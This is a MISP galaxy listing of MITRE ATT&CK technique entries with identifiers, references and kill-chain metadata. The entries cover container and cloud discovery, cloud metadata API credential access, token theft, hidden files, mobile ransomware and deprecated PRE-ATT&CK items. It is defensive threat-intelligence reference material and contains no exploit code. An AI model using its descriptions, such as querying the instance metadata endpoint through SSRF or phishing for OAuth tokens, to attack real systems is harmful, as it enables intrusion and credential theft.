| Metadata key | Value |
|---|---|
| external_id | T1351 |
| kill_chain | ['pre-attack:build-capabilities'] |
Container and Resource Discovery - T1613
Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.
These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.
Internal MISP references
UUID 0470e792-32f8-46b0-a351-652bc35e9336 which can be used as unique global reference for Container and Resource Discovery - T1613 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1613 |
| kill_chain | ['attack-Containers:discovery'] |
| mitre_data_sources | ['Container: Container Enumeration', 'Pod: Pod Enumeration'] |
| mitre_platforms | ['Containers'] |
Secure and protect infrastructure - T1317
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)
Internal MISP references
UUID cc0faf66-4df2-4328-9c9c-b0ca5de915ad which can be used as unique global reference for Secure and protect infrastructure - T1317 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1317 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Obfuscate or encrypt code - T1319
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)
Internal MISP references
UUID 357e137c-7589-4af1-895c-3fbad35ea4d2 which can be used as unique global reference for Obfuscate or encrypt code - T1319 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1319 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Elevated Execution with Prompt - T1514
Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.
Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)
Internal MISP references
UUID 101c3a64-9ba5-46c9-b573-5c501053cbca which can be used as unique global reference for Elevated Execution with Prompt - T1514 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1514 - webarchive
- https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg - webarchive
- https://objective-see.com/blog/blog_0x2A.html - webarchive
- https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8 - webarchive
- https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1514 |
| kill_chain | ['attack-macOS:privilege-escalation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Data Encrypted for Impact - T1471
An adversary may encrypt files stored on a mobile device to prevent the user from accessing them. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Internal MISP references
UUID d9e88203-2b5d-405f-a406-2933b1e3d7e4 which can be used as unique global reference for Data Encrypted for Impact - T1471 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1471 |
| kill_chain | ['mobile-attack-Android:impact'] |
| mitre_platforms | ['Android'] |
Hidden Files and Directories - T1158
To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).
Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.
Windows
Users can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.
Linux/Mac
Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.
Mac
Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
Internal MISP references
UUID dc27c2ec-c5f9-4228-ba57-d67b590bda93 which can be used as unique global reference for Hidden Files and Directories - T1158 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1158 - webarchive
- https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ - webarchive
- https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - webarchive
- https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1158 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:persistence'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Gather Victim Org Information - T1591
Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.
Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing or Trusted Relationship).
Internal MISP references
UUID 937e4772-8441-4e4a-8bf0-8d447d667e23 which can be used as unique global reference for Gather Victim Org Information - T1591 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1591 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Cloud Storage Object Discovery - T1619
Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to File and Directory Discovery on a local host, after identifying available storage services (i.e. Cloud Infrastructure Discovery) adversaries may access the contents/objects stored in cloud infrastructure.
Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .
Internal MISP references
UUID 8565825b-21c8-4518-b75e-cbc4c717a156 which can be used as unique global reference for Cloud Storage Object Discovery - T1619 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1619 |
| kill_chain | ['attack-IaaS:discovery'] |
| mitre_data_sources | ['Cloud Storage: Cloud Storage Access', 'Cloud Storage: Cloud Storage Enumeration'] |
| mitre_platforms | ['IaaS'] |
System Network Configuration Discovery - T1422
Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of devices they access or through information discovery of remote systems.
Adversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.
On Android, details of onboard network interfaces are accessible to apps through the java.net.NetworkInterface class.(Citation: NetworkInterface) Previously, the Android TelephonyManager class could be used to gather telephony-related device identifiers, information such as the IMSI, IMEI, and phone number. However, starting with Android 10, only preloaded, carrier, the default SMS, or device and profile owner applications can access the telephony-related device identifiers.(Citation: TelephonyManager)
On iOS, gathering network configuration information is not possible without root access.
Adversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.
Internal MISP references
UUID d4536441-1bcc-49fa-80ae-a596ed3f7ffd which can be used as unique global reference for System Network Configuration Discovery - T1422 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1422 |
| kill_chain | ['mobile-attack-Android:discovery', 'mobile-attack-iOS:discovery'] |
| mitre_platforms | ['Android', 'iOS'] |
Cloud Instance Metadata API - T1522
Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.
Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)
If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)
The de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.
Internal MISP references
UUID 1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f which can be used as unique global reference for Cloud Instance Metadata API - T1522 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1522 |
| kill_chain | ['attack-IaaS:credential-access'] |
| mitre_platforms | ['IaaS'] |
Related clusters
To see the related clusters, click here.
Identify analyst level gaps - T1233
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)
Internal MISP references
UUID 0fad2267-9f46-4ebb-91b5-d543243732cb which can be used as unique global reference for Identify analyst level gaps - T1233 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1233 |
| kill_chain | ['pre-attack:priority-definition-planning'] |
Generate analyst intelligence requirements - T1234
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)
Internal MISP references
UUID e754fa49-2db1-416b-92db-7f886decd099 which can be used as unique global reference for Generate analyst intelligence requirements - T1234 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1234 |
| kill_chain | ['pre-attack:priority-definition-planning'] |
Command and Scripting Interpreter - T1623
Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, Android is a UNIX-like OS and includes a basic Unix Shell that can be accessed via the Android Debug Bridge (ADB) or Java’s Runtime package.
Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.
Internal MISP references
UUID 29f1f56c-7b7a-4c14-9e39-59577ea2743c which can be used as unique global reference for Command and Scripting Interpreter - T1623 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1623 |
| kill_chain | ['mobile-attack-Android:execution', 'mobile-attack-iOS:execution'] |
| mitre_platforms | ['Android', 'iOS'] |
Identify security defensive capabilities - T1263
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)
Internal MISP references
UUID 04e93ca1-8415-4a46-8549-73b7c84f8dc3 which can be used as unique global reference for Identify security defensive capabilities - T1263 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1263 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Use multiple DNS infrastructures - T1327
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)
Internal MISP references
UUID 616238cb-990b-4c71-8f50-d8b10ed8ce6b which can be used as unique global reference for Use multiple DNS infrastructures - T1327 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1327 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Analyze application security posture - T1293
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)
Internal MISP references
UUID fe421ab9-c8f3-42f7-9ae1-5d6c324cc925 which can be used as unique global reference for Analyze application security posture - T1293 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1293 |
| kill_chain | ['pre-attack:technical-weakness-identification'] |
Exfiltration Over C2 Channel - T1646
Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.
Internal MISP references
UUID 32063d7f-0a39-440d-a4a3-2694488f96cc which can be used as unique global reference for Exfiltration Over C2 Channel - T1646 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1646 |
| kill_chain | ['mobile-attack-Android:exfiltration', 'mobile-attack-iOS:exfiltration'] |
| mitre_platforms | ['Android', 'iOS'] |
Endpoint Denial of Service - T1642
Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.
On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode, preventing the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword)
On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode; they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)
Internal MISP references
UUID eb6cf439-1bcb-4d10-bc68-1eed844ed7b3 which can be used as unique global reference for Endpoint Denial of Service - T1642 in MISP communities and other software using the MISP galaxy
External references
- http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/ - webarchive
- https://attack.mitre.org/techniques/T1642 - webarchive
- https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int) - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1642 |
| kill_chain | ['mobile-attack-Android:impact', 'mobile-attack-iOS:impact'] |
| mitre_platforms | ['Android', 'iOS'] |
Malicious Software Development Tools - T1462
As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.
Detection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.
Platforms: Android, iOS
Internal MISP references
UUID b928b94a-4966-4e2a-9e61-36505b896ebc which can be used as unique global reference for Malicious Software Development Tools - T1462 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1462 |
Related clusters
To see the related clusters, click here.
Identify technology usage patterns - T1264
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)
Internal MISP references
UUID 194bff4f-c218-40df-bea3-1ace715de8dd which can be used as unique global reference for Identify technology usage patterns - T1264 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1264 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Generate Fraudulent Advertising Revenue - T1472
An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.
Internal MISP references
UUID f981d199-2720-467e-9dc9-eea04dbe05cf which can be used as unique global reference for Generate Fraudulent Advertising Revenue - T1472 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1472 |
| kill_chain | ['mobile-attack-Android:impact', 'mobile-attack-iOS:impact'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Identify sensitive personnel information - T1274
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)
Internal MISP references
UUID 7dae871c-effc-444b-9962-4b7efefe7d40 which can be used as unique global reference for Identify sensitive personnel information - T1274 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1274 |
| kill_chain | ['pre-attack:people-information-gathering'] |
Exploitation of Remote Services - T1428
Adversaries may exploit remote services of enterprise servers, workstations, or other resources to gain unauthorized access to internal systems once inside of a network. Adversaries may exploit remote services by taking advantage of a mobile device’s access to an internal enterprise network through local connectivity or through a Virtual Private Network (VPN). Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
An adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Scanning or other Discovery methods. These look for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.
Depending on the permissions level of the vulnerable remote service, an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.
Internal MISP references
UUID 22379609-a99f-4a01-bd7e-70f3e105859d which can be used as unique global reference for Exploitation of Remote Services - T1428 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1428 |
| kill_chain | ['mobile-attack-Android:lateral-movement', 'mobile-attack-iOS:lateral-movement'] |
| mitre_platforms | ['Android', 'iOS'] |
Identify web defensive services - T1256
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary can attempt to identify web defensive services as CloudFlare, IPBan, and Snort. This may be done by passively detecting services, like CloudFlare routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)
Internal MISP references
UUID 288b3cc3-f4da-4250-ab8c-d8b5dbed94ca which can be used as unique global reference for Identify web defensive services - T1256 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1256 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Steal Application Access Token - T1528
Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.
Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.
For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts) Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.(Citation: Cider Security Top 10 CICD Security Risks) If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges.
Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.
Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token.(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)
Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user.
Internal MISP references
UUID 890c9858-598c-401d-a4d5-c67ebcdd703a which can be used as unique global reference for Steal Application Access Token - T1528 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1528 - webarchive
- https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ - webarchive
- https://auth0.com/learn/refresh-tokens/ - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks - webarchive
- https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens - webarchive
- https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols - webarchive
- https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app - webarchive
- https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow - webarchive
- https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/ - webarchive
- https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/ - webarchive
- https://www.cidersecurity.io/top-10-cicd-security-risks/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1528 |
| kill_chain | ['attack-SaaS:credential-access', 'attack-Office-365:credential-access', 'attack-Azure-AD:credential-access', 'attack-Google-Workspace:credential-access', 'attack-Containers:credential-access'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'User Account: User Account Modification'] |
| mitre_platforms | ['SaaS', 'Office 365', 'Azure AD', 'Google Workspace', 'Containers'] |
Gather Victim Host Information - T1592
Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).
Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).
Internal MISP references
UUID 09312b1a-c3c6-4b45-9844-3ccc78e5d82f which can be used as unique global reference for Gather Victim Host Information - T1592 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1592 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Abuse Elevation Control Mechanism - T1626
Adversaries may circumvent mechanisms designed to control elevated privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can gain on a machine. Authorization has to be granted to specific users in order to perform tasks that are designated as higher risk. An adversary can use several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Internal MISP references
UUID 08ea902d-ecb5-47ed-a453-2798057bb2d3 which can be used as unique global reference for Abuse Elevation Control Mechanism - T1626 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1626 |
| kill_chain | ['mobile-attack-Android:privilege-escalation'] |
| mitre_platforms | ['Android'] |
Identify people of interest - T1269
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)
Internal MISP references
UUID 0c0f075b-5d69-43f2-90df-d9ad18f44624 which can be used as unique global reference for Identify people of interest - T1269 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1269 |
| kill_chain | ['pre-attack:people-information-gathering'] |
Data from Local System - T1533
Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to exfiltration.
Access to local system data, which includes information stored by the operating system, often requires escalated privileges. Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos. On Android, adversaries may also attempt to access files from external storage which may require additional storage-related permissions.
Internal MISP references
UUID e1c912a9-e305-434b-9172-8a6ce3ec9c4a which can be used as unique global reference for Data from Local System - T1533 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1533 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection'] |
| mitre_platforms | ['Android', 'iOS'] |
Post compromise tool development - T1353
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)
Internal MISP references
UUID df42286d-dfbd-4455-bc9d-aef52ac29aa7 which can be used as unique global reference for Post compromise tool development - T1353 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1353 |
| kill_chain | ['pre-attack:build-capabilities'] |
Credentials from Password Store - T1634
Adversaries may search common password storage locations to obtain user credentials. Passwords can be stored in several places on a device, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users to manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.
Internal MISP references
UUID cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3 which can be used as unique global reference for Credentials from Password Store - T1634 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1634 |
| kill_chain | ['mobile-attack-iOS:credential-access'] |
| mitre_platforms | ['iOS'] |
Generate Traffic from Victim - T1643
Adversaries may generate outbound traffic from devices. This is typically performed to manipulate external outcomes, such as to achieve carrier billing fraud or to manipulate app store rankings or ratings. Outbound traffic is typically generated as SMS messages or general web traffic, but may take other forms as well.
If done via SMS messages, Android apps must hold the SEND_SMS permission. Additionally, sending an SMS message requires user consent if the recipient is a premium number. Applications cannot send SMS messages on iOS
Internal MISP references
UUID a8e971b8-8dc7-4514-8249-ae95427ec467 which can be used as unique global reference for Generate Traffic from Victim - T1643 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1643 |
| kill_chain | ['mobile-attack-Android:impact', 'mobile-attack-iOS:impact'] |
| mitre_platforms | ['Android', 'iOS'] |
Build or acquire exploits - T1349
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)
Internal MISP references
